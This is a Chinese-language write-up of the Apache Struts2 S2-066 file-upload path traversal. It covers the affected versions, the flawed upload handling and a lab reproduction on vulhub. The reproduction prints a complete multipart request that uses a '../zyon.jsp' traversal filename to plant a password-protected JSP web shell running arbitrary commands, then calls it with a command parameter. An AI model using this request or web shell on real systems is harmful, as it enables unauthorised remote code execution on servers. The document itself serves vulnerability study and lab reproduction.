漏洞背景
1. Apache Struts2 框架
Apache Struts2 是一个流行的开源 Web 应用框架,用于开发 Java EE Web 应用。它使用并扩展了 Java Servlet API,鼓励开发者采用模型-视图-控制器(MVC)架构。该框架为开发者提供了丰富的标签和实用工具,提供了 action-based 的架构,以创建易于维护和扩展的企业级 Web 应用。
2.影响版本:
- Apache Struts 2.0.0 - 2.5.32
- Apache Struts 6.0.0 - 6.3.0
漏洞原理
1.漏洞介绍
Apache Struts2 S2-066 是一个存在于文件上传功能中的路径穿越漏洞。攻击者可以通过操纵表单字段名称的大小写,将文件上传到预期上传目录之外的位置。
2. 漏洞位置
漏洞出现在 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类中,尤其是在 parseRequest 方法处理上传文件时,对 filename 参数未充分过滤路径穿越符号。Struts2 原本会对上传文件名进行过滤,但攻击者可以借助使用 filename=../../webapps/ROOT/shell.jsp ,从而绕过校验并将文件写入 Web 根目录
3.漏洞利用
在 Struts2 的文件上传处理过程中,框架通常只保留上传文件的基本名称(basename)以防止路径穿越。但是,由于处理过程中的一个逻辑缺陷,攻击者可以通过以下方式绕过这个保护:使用首字母大写的表单字段名(例如,使用 "Upload" 而不是 "upload"),提供一个包含目标路径穿越文件名的单独表单字段,这使得未经处理的文件名可以覆盖基本名称保护,最终导致成功的路径穿越。
漏洞复现
通过vulhub靶场搭建,然后访问地址如下图:
是一个文件上传的功能点。虽然文件上传成功,但由于服务器配置,JSP 代码无法在上传目录 /upload/ 中执行。如下图所示:
然后现在绕过,利用过程中的关键要素:
- 表单字段名使用首字母大写("Upload")
- 单独的 "uploadFileName" 字段包含路径穿越的 payload: ../zyon.jsp
数据包如下:- 1 POST /index.action HTTP/1.1
- 2 Host: 192.168.49.151:8080
- 3 Accept-Encoding: gzip, deflate, br
- 4 Accept: */*
- 5 Accept-Language: en-US;q=0.9,en;q=0.8
- 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
- 7 Connection: close
- 8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF
- 9 Content-Length: 331
- 10
- 11 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF
- 12 Content-Disposition: form-data; name="File"; filename="zyon.jsp"
- 13 Content-Type: text/plain
- 14
- 15 <%
- 16 if ("zyon".equals(request.getParameter("pass"))) {
- 17 String cmd = request.getParameter("cmd");
- 18 Process p = Runtime.getRuntime().exec(cmd);
- 19 java.io.InputStream is = p.getInputStream();
- 20 java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
- 21 String output = s.hasNext() ? s.next() : "";
- 22 out.println("<pre>" + output + "</pre>");
- 23 }
- 24 %>
- 25
- 26 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF
- 27 Content-Disposition: form-data; name="fileFileName"
- 28
- 29 ../zyon.jsp
- 30 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF--
复制代码 然后访问文件上传的地址,然后拼接上参数( http://192.168.49.151:8080/zyon.jsp?pass=zyon&cmd=ls )成功执行。如下图:
漏洞分析
为什么漏洞利用过程中单字段名使用首字母大写(如"Upload"、"File"....)?
根本原因:字段名与 Action 中的属性映射规则 Struts2 使用 OGNL(Object-Graph Navigation Language)来将表单字段绑定到 Java 类中的属性上。Struts2 默认是大小写敏感的,这一点与 Java Bean 命名规范有关: Struts2 使用 Java 的反射机制调用 setter 方法。 Java Bean 规范要求属性名匹配 setter,比如 Upload → setUpload()。 如果你用了小写 upload,而类中是大写 Upload,反射找不到对应的 setupload() 方法。
来源:豆瓜网用户自行投稿发布,如果侵权,请联系站长删除 |